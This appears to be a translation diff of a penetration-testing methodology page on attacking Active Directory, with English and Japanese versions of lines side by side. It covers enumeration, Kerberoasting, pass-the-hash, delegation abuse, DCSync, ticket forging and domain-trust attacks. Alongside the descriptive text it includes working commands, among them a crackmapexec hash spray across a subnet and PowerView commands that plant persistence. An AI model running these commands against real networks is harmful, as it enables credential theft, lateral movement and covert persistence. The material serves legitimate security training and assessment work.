- **Extracting all domain users**
It's very easy to obtain all the domain usernames from Windows (`net user /domain` ,`Get-DomainUser` or `wmic useraccount get name,sid`). In Linux, you can use: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` or `enum4linux -a -u "user" -p "password" <DC IP>`
Windows ではドメイン内の全ユーザー名を取得するのは非常に簡単です(`net user /domain``Get-DomainUser`、または `wmic useraccount get name,sid`。Linux では `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` `enum4linux -a -u "user" -p "password" <DC IP>` を使えます。
> Even if this Enumeration section looks small this is the most important part of all. Access the links (mainly the one of cmd, powershell, powerview and BloodHound), learn how to enumerate a domain and practice until you feel comfortable. During an assessment, this will be the key moment to find your way to DA or to decide that nothing can be done.
> この列挙セクションは短く見えるかもしれませんが、最も重要な部分です。リンク先(主に cmd, powershell, powerview, BloodHoundを参照して、ドメインの列挙方法を学び、十分に慣れるまで練習してください。評価時に、ここが DA に到達する鍵となるか、何もできないと判断する決定点になります。
### Kerberoast
Kerberoasting involves obtaining **TGS tickets** used by services tied to user accounts and cracking their encryption—which is based on user passwords—**offline**.
Kerberoasting は、サービスに紐づくユーザーアカウントのために使われる **TGS tickets** を取得し、その暗号化(ユーザーの password に基づく)をオフラインで crack する攻撃です。
More about this in:
詳しくは以下を参照してください:
{{#ref}}
@ -197,17 +197,17 @@ kerberoast.md
### Remote connexion (RDP, SSH, FTP, Win-RM, etc)
Once you have obtained some credentials you could check if you have access to any **machine**. For that matter, you could use **CrackMapExec** to attempt connecting on several servers with different protocols, accordingly to your ports scans.
いったん credentials を入手したら、どの **machine** にアクセスできるか確認してください。そのために、ポートスキャンに基づいて様々なプロトコルで複数のサーバーに接続を試みるために **CrackMapExec** を使うことができます。
### Local Privilege Escalation
If you have compromised credentials or a session as a regular domain user and you have **access** with this user to **any machine in the domain** you should try to find your way to **escalate privileges locally and looting for credentials**. This is because only with local administrator privileges you will be able to **dump hashes of other users** in memory (LSASS) and locally (SAM).
通常のドメインユーザーとして credentials や session を奪取し、そのユーザーでドメイン内の **任意のマシンにアクセス** できる場合は、ローカルでの権限昇格と credential の収集を試みるべきです。ローカル管理者権限を得て初めて、他のユーザーのハッシュをメモリLSASSやローカルSAMからダンプできます。
There is a complete page in this book about [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) and a [**checklist**](../checklist-windows-privilege-escalation.md). Also, don't forget to use [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
この書籍には [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) に関する完全なページと、[**checklist**](../checklist-windows-privilege-escalation.md) があります。また [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) の使用も忘れないでください。
### Current Session Tickets
It's very **unlikely** that you will find **tickets** in the current user **giving you permission to access** unexpected resources, but you could check:
現在のユーザーに予期しないリソースへのアクセス権を与えるような **tickets** が見つかる可能性は非常に **低い** ですが、次の点を確認することはできます:
```bash
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
@ -217,17 +217,17 @@ It's very **unlikely** that you will find **tickets** in the current user **givi
```
### NTLM Relay
If you have managed to enumerate the Active Directory you will have **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
If you have managed to enumerate the active directory you will have **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
### Computer Shares の Creds を探す | SMB Shares
### Looks for Creds in Computer Shares | SMB Shares
基本的な資格情報を入手したら、**AD 内で共有されている興味深いファイルを見つけられるか**確認するべきです。手動でも可能ですが、とても退屈で反復的な作業です(確認すべきドキュメントが何百もあればなおさら)。
基本的な資格情報を入手したら、AD 内で共有されている**興味深いファイルを見つけられないか**を確認すべきです。手作業でも可能ですが、非常に退屈で反復的な作業になります(数百のドキュメントを確認する必要がある場合はさらに大変です)。
[**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
[**使用できるツールについてはこちらを参照してください。**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
### Steal NTLM Creds
もし **他のPCや共有にアクセスできる** なら、SCF ファイルのような)**ファイルを配置**して、誰かがアクセスしたときに t**rigger an NTLM authentication against you** ことで **NTLM challenge****steal** してクラックすることができます:
他のPCや共有に**アクセスできる**場合、アクセスされるとあなたに対してNTLM認証を**引き起こす**ようなファイル(例えば SCF ファイル)を**配置**して、**NTLM challenge** を盗み出して解析することができます:
{{#ref}}
@ -236,22 +236,22 @@ If you have managed to enumerate the Active Directory you will have **more email
### CVE-2021-1675/CVE-2021-34527 PrintNightmare
この脆弱性により、認証済みユーザーであれば誰でも **ドメインコントローラを侵害する** ことが可能でした
この脆弱性により、認証済みの任意のユーザーが**ドメインコントローラーを侵害できました**
{{#ref}}
printnightmare.md
{{#endref}}
## Active Directory での特権昇格 WITH privileged credentials/session
## Privilege escalation on Active Directory WITH privileged credentials/session
**以下の技術には通常のドメインユーザーでは不十分で、これらの攻撃を実行するために特別な権限/資格情報が必要です。**
**For the following techniques a regular domain user is not enough, you need some special privileges/credentials to perform these attacks.**
### Hash extraction
運良く [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)(リレーを含む), [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html) などを使って **いくつかのローカル管理者アカウントを compromise している** ことでしょう。\
その後、メモリ上およびローカルからすべてのハッシュをダンプする時です。\
[**Read this page about different ways to obtain the hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
幸いにも、[AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)(リレーを含む)[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[escalating privileges locally](../windows-local-privilege-escalation/index.html)などを使って**いくつかのローカル管理者アカウントを侵害できている**ことを期待します。\
その後、メモリ上およびローカルにあるすべてのハッシュをダンプする時です。\
[**ハッシュを取得するさまざまな方法についてはこちらを読んでください。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Pass the Hash
@ -279,20 +279,20 @@ pass-the-ticket.md
### Credentials Reuse
If you have the **hash** or **password** of a **local administrato**r you should try to **login locally** to other **PCs** with it.
ローカル管理者の**ハッシュ**または**パスワード**を入手している場合は、それを使って他の**PC**に**ローカルログイン**を試みてください。
```bash
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
> [!WARNING]
> これはかなり**ノイズが多く**、**LAPS**があれば**軽減**されることに注意してください。
> これはかなり**ノイジー**であり、**LAPS**で**緩和**できる点に注意してください。
### MSSQL Abuse & Trusted Links
ユーザが**MSSQL instances にアクセスする権限**を持っている場合、MSSQL ホスト上でSAとして動作していれば**コマンドを実行**したり、NetNTLM の **hash を盗む**、あるいは **relay attack** を実行できる可能性があります。\
また、ある MSSQL インスタンスが別の MSSQL インスタンスから信頼database linkされている場合、信頼されたデータベースに対する権限を持つユーザは、**信頼関係を利用して他のインスタンスでもクエリを実行する**ことが可能です。これらの信頼は連鎖することがあり、最終的にコマンドを実行できるような誤設定されたデータベースを発見できるかもしれません。\
**データベース間のリンクはフォレスト間のトラストを越えても機能します。**
ユーザーが**MSSQL インスタンスにアクセス**する権限を持っている場合、MSSQL ホスト上でSA として実行されていれば)**コマンドを実行**したり、NetNTLM の **hash** を**盗む**、あるいは **relay attack** を行うことが可能です。\
また、ある MSSQL インスタンスが別の MSSQL インスタンスから信頼database linkされている場合、ユーザーが信頼されたデータベース上の権限を持っていれば、**信頼関係を利用して別インスタンスでもクエリを実行する**ことができます。これらの信頼は連鎖する可能性があり、最終的にコマンド実行可能な誤設定されたデータベースを見つけることがありえます。\
**データベース間のリンクはフォレストトラストを跨いでも機能します。**
{{#ref}}
@ -301,7 +301,7 @@ abusing-ad-mssql.md
### IT asset/deployment platforms abuse
サードパーティのインベントリやデプロイメントスイートは、しばしば資格情報やコード実行につながる強力な経路を公開しています。参照:
サードパーティのインベントリ/デプロイメントスイートは、しばしば資格情報やコード実行への強力な経路を露出します。参照:
{{#ref}}
sccm-management-point-relay-sql-policy-secrets.md
@ -313,9 +313,9 @@ lansweeper-security.md
### Unconstrained Delegation
[ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) 属性を持つ Computer オブジェクトを見つけ、かつそのコンピュータ上でドメイン権限を持っている場合、そのコンピュータにログオンするすべてのユーザのメモリから TGT をダンプできます。\
したがって、もし**Domain Admin がそのコンピュータにログイン**すると、その TGT をダンプして [Pass the Ticket](pass-the-ticket.md) を使ってそのユーザになりすますことが可能になります。\
constrained delegation によっては、**Print Server を自動的に乗っ取る**ことさえあり得ます(幸いにもそれが DC である場合があるかもしれません)
属性 [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) を持つ Computer オブジェクトを見つけ、かつそのコンピュータ上でドメイン権限を持っている場合、当該コンピュータにログインするすべてのユーザーの TGT をメモリからダンプすることができます。\
したがって、**Domain Admin がそのコンピュータにログイン**した場合、その TGT をダンプして [Pass the Ticket](pass-the-ticket.md) を使って権限を偽装できます。\
constrained delegation により、**プリントサーバーを自動的に乗っ取る**(運が良ければそれが DC である)ことさえ可能です
{{#ref}}
@ -324,8 +324,8 @@ unconstrained-delegation.md
### Constrained Delegation
ユーザまたはコンピュータが "Constrained Delegation" に許可されていると、そのコンピュータ上の特定のサービスに対して**任意のユーザを偽装してアクセスする**ことができます。\
して、もしそのユーザ/コンピュータの**ハッシュを奪取**すれば、Domain Admin を含む)**任意のユーザを偽装して特定のサービスにアクセスする**ことが可能になります。
ユーザーやコンピュータが "Constrained Delegation" を許可されていると、**あるコンピュータ上の特定サービスに対して任意のユーザーを偽装してアクセス**することが可能になります。\
のため、このユーザー/コンピュータの **hash を奪取**すれば、Domain Admin を含む)**任意のユーザーを偽装してサービスにアクセス**できます。
{{#ref}}
@ -334,7 +334,7 @@ constrained-delegation.md
### Resourced-based Constrain Delegation
リモートコンピュータの Active Directory オブジェクトに対して **WRITE 権限** を持つことは、**昇格された権限でのコード実行**を得ることを可能にします:
リモートコンピュータの Active Directory オブジェクトに対して **WRITE** 権限があると、**昇格権限でのコード実行**を達成できる可能性があります:
{{#ref}}
@ -343,7 +343,7 @@ resource-based-constrained-delegation.md
### Permissions/ACLs Abuse
侵害されたユーザが一部のドメインオブジェクトに対して**興味深い権限**を持っている場合、それを利用して**横移動**や**権限昇格**が可能になります。
侵害したユーザーが一部のドメインオブジェクトに対して**興味深い権限**を持っている場合、それにより**横展開や権限昇格**が可能になることがあります。
{{#ref}}
@ -352,7 +352,7 @@ acl-persistence-abuse/
### Printer Spooler service abuse
ドメイン内で**Spool service がリッスンしている**ことを発見すると、これを**悪用**して**新しい資格情報を取得**したり**権限を昇格**させたりすることができます。
ドメイン内で **Spool サービスがリッスンしている**ことを発見すると、これを**悪用して新たな資格情報を取得**したり、**権限昇格**を行ったりできます。
{{#ref}}
@ -361,8 +361,8 @@ printers-spooler-service-abuse.md
### Third party sessions abuse
**他のユーザ**が**侵害された**マシンに**アクセス**する場合、メモリから資格情報を**収集**したり、彼らのプロセスにビークンを**インジェクト**して彼らになりすますことが可能です。\
通常、ユーザは RDP を介してシステムにアクセスするため、第三者の RDP セッションに対するいくつかの攻撃方法はこちら
**他のユーザーが侵害されたマシンにアクセス**している場合、メモリから資格情報を**収集**したり、彼らのプロセスにビーコンを**インジェクト**して偽装することが可能です。\
通常ユーザーは RDP でシステムにアクセスするため、第三者の RDP セッションに対するいくつかの攻撃手法は次の通りです
{{#ref}}
@ -371,7 +371,7 @@ rdp-sessions-abuse.md
### LAPS
**LAPS** はドメイン参加コンピュータの**ローカル Administrator パスワード**を管理する仕組みで、パスワードを**ランダム化**し一意にし頻繁に**変更**します。これらのパスワードは Active Directory に保存され、アクセスは ACL によって認可されたユーザに制御されます。これらのパスワードにアクセスする十分な権限があれば、他のコンピュータへピボットすることが可能になります。
**LAPS** はドメイン参加コンピュータの**ローカル Administrator パスワード**を管理するシステムで、それらを**ランダム化・一意化・頻繁に変更**します。これらのパスワードは Active Directory に保存され、ACL によって許可されたユーザーのみがアクセスできます。これらのパスワードにアクセスできる十分な権限があれば、他のコンピュータへピボットが可能になります。
{{#ref}}
@ -380,7 +380,7 @@ laps.md
### Certificate Theft
侵害されたマシンから**証明書を収集**することは、環境内での権限昇格手段になり得ます:
侵害たマシンから**証明書を収集**することは、環境内での権限昇格手段になり得ます:
{{#ref}}
@ -389,41 +389,41 @@ ad-certificates/certificate-theft.md
### Certificate Templates Abuse
**脆弱なテンプレート**が設定されている場合、それを悪用して権限昇格することが可能です:
脆弱なテンプレートが設定されている場合、それを悪用して権限昇格することが可能です:
{{#ref}}
ad-certificates/domain-escalation.md
{{#endref}
{{#endref}}
## Post-exploitation with high privilege account
### Dumping Domain Credentials
**Domain Admin** またはより上位の **Enterprise Admin** 権限を得ると、ドメインデータベースである _ntds.dit_ を**ダンプ**できます。
**Domain Admin**、あるいはさらに **Enterprise Admin** の権限を得たら、ドメインデータベースである _ntds.dit_ を**ダンプ**できます。
[**More information about DCSync attack can be found here**](dcsync.md).
[**DCSync attack に関する詳細はここにあります**](dcsync.md)。
[**More information about how to steal the NTDS.dit can be found here**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
[**NTDS.dit の盗み方に関する詳細はここにあります**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Privesc as Persistence
前述した技術のいくつかは永続化に利用できます。\
前述のいくつかの手法永続化に利用できます。\
例えば、次のようなことが可能です:
- ユーザを [**Kerberoast**](kerberoast.md) に脆弱にする
- ユーザを [**Kerberoast**](kerberoast.md) に**脆弱**にする
```bash
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
```
- ユーザを [**ASREPRoast**](asreproast.md) に脆弱にする
- ユーザを [**ASREPRoast**](asreproast.md) に**脆弱**にする
```bash
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
- ユーザに [**DCSync**](#dcsync) 権限を付与する
- ユーザに [**DCSync**](#dcsync) 権限を付与する
```bash
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
@ -431,7 +431,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
### Silver Ticket
**Silver Ticket attack** は、特定のサービス向けに正当な Ticket Granting Service (TGS) チケットを、例えば**PC account の NTLM hash**などを使って作成する攻撃です。この方法を用いて**サービスの権限にアクセス**します。
**Silver Ticket attack** は、特定サービス向けの**正当な TGS チケット**を(例えば PC アカウントの)**NTLM hash** を使って作成し、そのサービスの権限へアクセスする手法です。
{{#ref}}
@ -440,7 +440,9 @@ silver-ticket.md
### Golden Ticket
**Golden Ticket attack** とは、Active Directory 環境で **krbtgt account の NTLM hash** に攻撃者がアクセスすることを含みます。このアカウントはすべての **Ticket Granting Tickets (TGTs)** の署名に使用されるため特別です。攻撃者がこのハッシュを取得すると、任意のアカウントのための **TGT を作成**することができますSilver ticket attack と同様の利用法)。
**Golden Ticket attack** は、Active Directory 環境で **krbtgt アカウントの NTLM hash** を入手することで行われます。このアカウントはすべての **TGT** を署名するために使われる特別なアカウントです。
攻撃者がこのハッシュを取得すると、任意のアカウントの **TGT を生成**できSilver ticket attack と同様)、ネットワーク内での認証を偽装できます。
{{#ref}}
@ -449,7 +451,7 @@ golden-ticket.md
### Diamond Ticket
これらは golden ticket に似ていますが、**一般的な golden ticket 検出メカニズムを回避する**ように偽造されたものです。
golden ticket に似ていますが、**一般的な golden ticket 検出メカニズムを回避するように加工された**チケットです。
{{#ref}}
@ -458,7 +460,7 @@ diamond-ticket.md
### **Certificates Account Persistence**
**アカウントの証明書を持っている、またはそれを要求できる**ことは、ユーザのパスワードが変更されてもアカウントに**永続化**する非常に有効な手段です:
アカウントの**証明書を保持している、あるいは要求できる**ことは、パスワードが変更されてもそのアカウントに**永続的にアクセス**する非常に有効な方法です:
{{#ref}}
@ -467,7 +469,7 @@ ad-certificates/account-persistence.md
### **Certificates Domain Persistence**
**証明書を使用することでドメイン内で高権限を持って永続化**することも可能です:
**証明書を用いることでドメイン内で高権限を維持する**ことも可能です:
{{#ref}}
@ -476,13 +478,13 @@ ad-certificates/domain-persistence.md
### AdminSDHolder Group
Active Directory の **AdminSDHolder** オブジェクトは、Domain Admins や Enterprise Admins のような**特権グループ**のセキュリティを維持するため、これらのグループに標準的な **ACL** を適用して不正な変更を防ぎます。しかし、この機能は悪用可能で、攻撃者が AdminSDHolder の ACL を変更して通常ユーザにフルアクセスを与えると、そのユーザはすべての特権グループに対して広範な制御を得ることになります。この保護機能は監視が不十分だと裏目に出る可能性があります。
Active Directory の **AdminSDHolder** オブジェクトは、Domain Admins や Enterprise Admins のような**特権グループ**のセキュリティを保つために、標準の ACL を適用してこれらのグループへの不正な変更を防ぎます。しかし、この機能は悪用されることがあり、攻撃者が AdminSDHolder の ACL を変更して通常ユーザにフルアクセスを与えると、そのユーザーはすべての特権グループに対する広範な制御を得てしまいます。保護を意図したこの仕組みが、監視されていないと逆に不正アクセスを許す原因になります。
[**More information about AdminDSHolder Group here.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
[**AdminDSHolder Group に関する詳細はこちら。**](privileged-groups-and-token-privileges.md#adminsdholder-group)
### DSRM Credentials
すべての **Domain Controller (DC)** にはローカル管理者アカウントが存在します。そのようなマシンで管理者権を取得すると、mimikatz を使用してローカル Administrator hash を抽出できます。その後、リモートでこのパスワードを使用できるようにするためにレジストリの変更が必要です。
すべての **Domain Controller (DC)** にはローカル管理者アカウントが存在します。そのようなマシンで管理者権限を取得すると、mimikatz を使ってローカル Administrator のハッシュを抽出できます。その後、レジストリの変更によりそのパスワードの利用を有効化し、ローカル Administrator アカウントへのリモートアクセスを可能にします。
{{#ref}}
@ -491,7 +493,7 @@ dsrm-credentials.md
### ACL Persistence
特定のドメインオブジェクトに対して**特別な権限**をあるユーザに**付与**することで、そのユーザが将来的に**権限を昇格**できるようにすることができます。
特定のドメインオブジェクトに対してユーザーに**特別な権限**を与えることで、その後にそのユーザーが**権限を昇格**できるようにすることができます。
{{#ref}}
@ -500,7 +502,7 @@ acl-persistence-abuse/
### Security Descriptors
**security descriptors** はオブジェクトが持つ**権限を格納**するために使われます。オブジェクトの **security descriptor** に小さな変更を加えるだけで、特権グループのメンバでなくてもそのオブジェクトに対して非常に興味深い権限を得ることができます。
**security descriptors** はオブジェクトが持つ**権限**を保持するために使われます。オブジェクトの security descriptor に**小さな変更**を加えるだけで、特権グループに属していなくてもそのオブジェクトに対して非常に強力な権限を取得できる場合があります。
{{#ref}}
@ -509,7 +511,7 @@ security-descriptors.md
### Skeleton Key
LSASS をメモリ上で改変して**ユニバーサルパスワード**を設定し、すべてのドメインアカウントへのアクセスを可能にします。
メモリ内の **LSASS** を改変して**全アカウント共通のパスワードuniversal password**を設定し、全ドメインアカウントへのアクセスを得ます。
{{#ref}}
@ -518,8 +520,8 @@ skeleton-key.md
### Custom SSP
[Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
独自の **SSP** を作成して、マシンにアクセスする際に使用される **資格情報を平文でキャプチャ**することができます。
[SSP (Security Support Provider) が何かはこちらを参照。](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
独自の **SSP** を作成して、マシンへのアクセスに使用される資格情報を**平文でキャプチャ**することができます。
{{#ref}}
@ -528,8 +530,8 @@ custom-ssp.md
### DCShadow
新しい Domain Controller を AD に登録し、それを利用して指定したオブジェクトに対してSIDHistory、SPNs などの)属性を **ログを残さずに** プッシュします。これを行うには DA 権限とルートドメイン内での実行が必要です。\
ただし、誤ったデータを使うとかなり醜いログが出る点に注意してください。
AD に **新しい Domain Controller を登録**し、それを使って指定オブジェクトに対してSIDHistory, SPNs... など)属性を **ログを残さずに push** します。DA 権限が必要で、ルートドメイン内で実行する必要があります。\
ただし誤ったデータを使うと派手なログが残る点に注意してください。
{{#ref}}
@ -538,7 +540,7 @@ dcshadow.md
### LAPS Persistence
前述の通り、**LAPS パスワードを読むのに十分な権限**があれば権限昇格できますが、これらのパスワードは**永続化**にも利用できます。\
前述したように、**LAPS パスワードを読む十分な権限**があると権限昇格できますが、これらのパスワードは**永続化**にも利用可能です。\
参照:
@ -548,62 +550,62 @@ laps.md
## Forest Privilege Escalation - Domain Trusts
Microsoft は **フォレスト (Forest)** をセキュリティ境界とみなしています。これは、**単一のドメインを侵害するとフォレスト全体が侵害される可能性がある**ことを意味します。
Microsoft は **Forest** をセキュリティ境界と見なしています。つまり **単一ドメインの侵害がフォレスト全体の侵害につながる可能性がある**ということです。
### Basic Information
[**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) は、ある **ドメイン** のユーザが別の **ドメイン** のリソースにアクセスすることを可能にするセキュリティメカニズムです。これは両ドメインの認証システム間に連携を作り、認証検証がシームレスに流れるようにします。ドメインがトラストを設定すると、それらは特定の **keys** を各々の **Domain Controllers (DCs)** に交換して保持し、トラストの整合性に重要な役割を果たします。
[**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) は、ある **ドメイン** のユーザが別の **ドメイン** のリソースへアクセスすることを可能にするセキュリティ機構です。ドメイン間の認証システムを連結し、認証情報のやり取りを可能にします。ドメインが信頼を設定すると、両ドメインの Domain Controller (DC) にその信頼の整合性を保つための特定の **キー** が交換・保持されます。
典型的なシナリオでは、ユーザ**trusted domain** のサービスにアクセスしようとする場合、まず自ドメインの DC から特別なチケットである **inter-realm TGT** を要求する必要があります。この TGT は両ドメインが合意した共有 **key** で暗号化されます。ユーザはこの TGT を **trusted domain の DC** に提示してサービスチケット(**TGS**を取得します。trusted domain の DC が inter-realm TGT を検証して有効と判断すると、サービスへのアクセスを許可する TGS を発行します。
典型的なシナリオでは、ユーザーが**信頼されたドメイン**のサービスへアクセスするには、まず自身のドメインの DC から **inter-realm TGT** を要求する必要があります。この TGT は両ドメインで共有される **trust key** で暗号化されます。ユーザーはこの inter-realm TGT を信頼先ドメインの DC に提出して TGS を取得します。信頼先の DC が inter-realm TGT を検証すると、対象サービスのための TGS を発行してアクセスを許可します。
**Steps**:
**手順**:
1. **Domain 1** **client computer** が自身の **NTLM hash** を使って **Domain Controller (DC1)** から **Ticket Granting Ticket (TGT)** を要求してプロセスを開始します
2. クライアントが正常に認証されると DC1 は新しい TGT を発行します。
3. クライアントは次に **Domain 2** のリソースにアクセスするために DC1 から **inter-realm TGT** を要求します。
4. inter-realm TGT は、両ドメイン間の双方向トラストの一部として DC1 と DC2 が共有する **trust key** で暗号化されます
5. クライアントは inter-realm TGT を **Domain 2 の Domain Controller (DC2)** に持っていきます
6. DC2 は共有された trust key を使って inter-realm TGT を検証し、有効であればクライアントがアクセスしようとする Domain 2 のサーバに対する **Ticket Granting Service (TGS)** を発行します。
7. 最後にクライアントはこの TGS をサーバに提示します。TGS はサーバのアカウントハッシュで暗号化されており、これによって Domain 2 のサービスへのアクセスが得られます
1. **Domain 1**クライアントコンピュータが、その **NTLM hash** を使用して **Ticket Granting Ticket (TGT)** をその **Domain Controller (DC1)** に要求する
2. クライアントが認証されると DC1 は新しい TGT を発行す
3. クライアントは **Domain 2** のリソースにアクセスするために DC1 から **inter-realm TGT** を要求す
4. inter-realm TGT は、2-way domain trust の一部として DC1 と DC2 が共有する **trust key** で暗号化される
5. クライアントは inter-realm TGT を **Domain 2 の Domain Controller (DC2)** に持ってい
6. DC2 は共有された trust key を使って inter-realm TGT を検証し、有効であればクライアントがアクセスしようとする Domain 2 のサーバ向け**Ticket Granting Service (TGS)** を発行す
7. 最後にクライアントはこの TGS をサーバに提示し、サーバのアカウントハッシュで暗号化されたそれによって Domain 2 のサービスへアクセスする
### Different trusts
トラストは **片方向** または **双方向** であり得る点に注意が必要です。双方向の場合は両ドメインが互いに信頼しますが、**片方向** のトラスト関係では一方が **trusted**、もう一方が **trusting** ドメインになります。この場合、**trusted 側からは trusting 側のリソースにのみアクセスできる**ことになります
信頼は **一方向1 wayか双方向2 ways** になり得る点に注意してください。双方向の場合は両ドメインが互いを信頼しますが、**一方通行**の場合は片方が **trusted**、もう片方が **trusting** になります。この場合、**trusted 側からは trusting ドメイン内のリソースにしかアクセスできません**
もし Domain A が Domain B を信頼しているなら、A は trusting ドメインで B は trusted ドメインです。さらに、**Domain A** においてはこれは **Outbound trust** であり、**Domain B** においては **Inbound trust**なります。
もし Domain A が Domain B を信頼しているなら、A が trusting domain、B が trusted domain です。さらに、**Domain A** ではこれは **Outbound trust** になり、**Domain B** では **Inbound trust**なります。
**Different trusting relationships**
**異なる信頼関係の種類**
- **Parent-Child Trusts**: 同一フォレスト内で一般的な設定で、child domain は自動的に parent domain と二方向のトランジティブトラストを持ちます。これにより親と子の間で認証要求がシームレスに流れます。
- **Cross-link Trusts**: 「shortcut trusts」とも呼ばれ、child ドメイン間でのリファラルプロセスを短縮するために設定されます。複雑なフォレストでは認証リファラルがフォレストルートまで上がってからターゲットドメインに下る必要がありますが、cross-link を作成するとその経路が短縮され、地理的に分散した環境で有益です。
- **External Trusts**: 異なる無関係なドメイン間で設定されるもので、トランジティブではありません。Microsoft のドキュメントによれば、external trusts はフォレストトラストで接続されていないフォレスト外のドメインのリソースにアクセスするのに有用です。External trusts では SID filtering によってセキュリティが強化されます。
- **Tree-root Trusts**: フォレストルートドメインと新しく追加されたツリールートとの間に自動的に確立されるトラストです。頻繁には見られませんが、フォレストに新しいドメインツリーを追加する際に重要で、固有のドメイン名を維持し二方向のトランジティビティを確保します。詳細は Microsoft のガイドを参照してください
- **Forest Trusts**: これは二つのフォレストルートドメイン間の二方向トランジティブトラストで、SID filtering によるセキュリティ強化も適用されます。
- **MIT Trusts**: これらは非 Windows の、[RFC4120 準拠](https://tools.ietf.org/html/rfc4120) の Kerberos ドメインと確立されるトラストです。MIT trusts は外部の Kerberos ベースのシステムと統合する環境に適した特殊なケースです。
- **Parent-Child Trusts**: 同一フォレスト内でよくある構成で、子ドメインは親ドメインと自動的に two-way transitive trust を持ちます。認証要求は親と子の間で透過的に流れます。
- **Cross-link Trusts**: "shortcut trusts" とも呼ばれ、子ドメイン間の参照を高速化するために設定されます。大規模なフォレストでは認証参照がフォレストルートまで上がってから目的ドメインへ降りる必要があり、cross-link によってその経路が短縮されます。
- **External Trusts**: 無関係な別ドメイン間で設定される非推移的な信頼です。Microsoft のドキュメントによれば、external trusts はフォレストトラストで接続されていない外部ドメインのリソースにアクセスする際に有用で、SID フィルタリングによってセキュリティが強化されます。
- **Tree-root Trusts**: フォレストルートドメインと新しく追加されたツリールート間に自動的に確立される信頼です。新しいドメインツリーをフォレストに追加する際に重要で、二方向の推移性を保持します
- **Forest Trusts**: 二つのフォレストルートドメイン間の two-way transitive trust で、SID フィルタリングも強制されセキュリティを高めます。
- **MIT Trusts**: 非 Windows の、[RFC4120 準拠](https://tools.ietf.org/html/rfc4120) の Kerberos ドメインと確立される信頼です。Windows 以外の Kerberos ベースのシステムと統合する環境向けの専門的な信頼です。
#### Other differences in **trusting relationships**
- トラスト関係は **トランジティブ**A は B を信頼し、B は C を信頼していれば A は C を信頼する)である場合と **非トランジティブ**である場合があります。
- トラスト関係は **双方向トラスト**(両者が互いに信頼する)または **片方向トラスト**(片方のみがもう片方を信頼する)として設定できます。
- 信頼関係は **transitive推移的**A が B を信頼し、B が C を信頼すると A は C を信頼する)または **non-transitive非推移的** に設定できます。
- 信頼関係は **bidirectional trust双方信頼**(互いに信頼)または **one-way trust一方向信頼**(一方のみが他方を信頼)として設定できます。
### Attack Path
1. 信頼関係を**列挙**する
2. いずれかの **security principal**user/group/computerが**他ドメインのリソースにアクセスできるか**を ACE エントリや他ドメインのグループメンバシップで確認する。**ドメイン間の関係**を探せ(トラストはこれを目的に作成されている可能性がある)。
1. この場合 kerberoast も別のオプションになり得る。
3. ドメインを横断して**ピボット**できるアカウントを**侵害**する。
2. いずれかの **security principal**user/group/computerが**他ドメインのリソースにアクセス**できるかを確認する。ACE エントリや他ドメインのグループに含まれているかを調べ、**ドメイン間の関係性**を探す(多くの場合信頼はこれを目的に作成されている)。
1. この場合kerberoast も別のオプションになり得る。
3. ドメインを**ピボット**できるアカウントを**侵害**する。
攻撃者が別ドメインのリソースにアクセスするために使える主要なメカニズムは次の3つです
攻撃者が別ドメインのリソースにアクセスする手段は主に次の3つです
- **Local Group Membership**: プリンシパルがサーバ上の “Administrators” グループのようなローカルグループに追加されている場合、そのマシンに対して大きな制御を得られます。
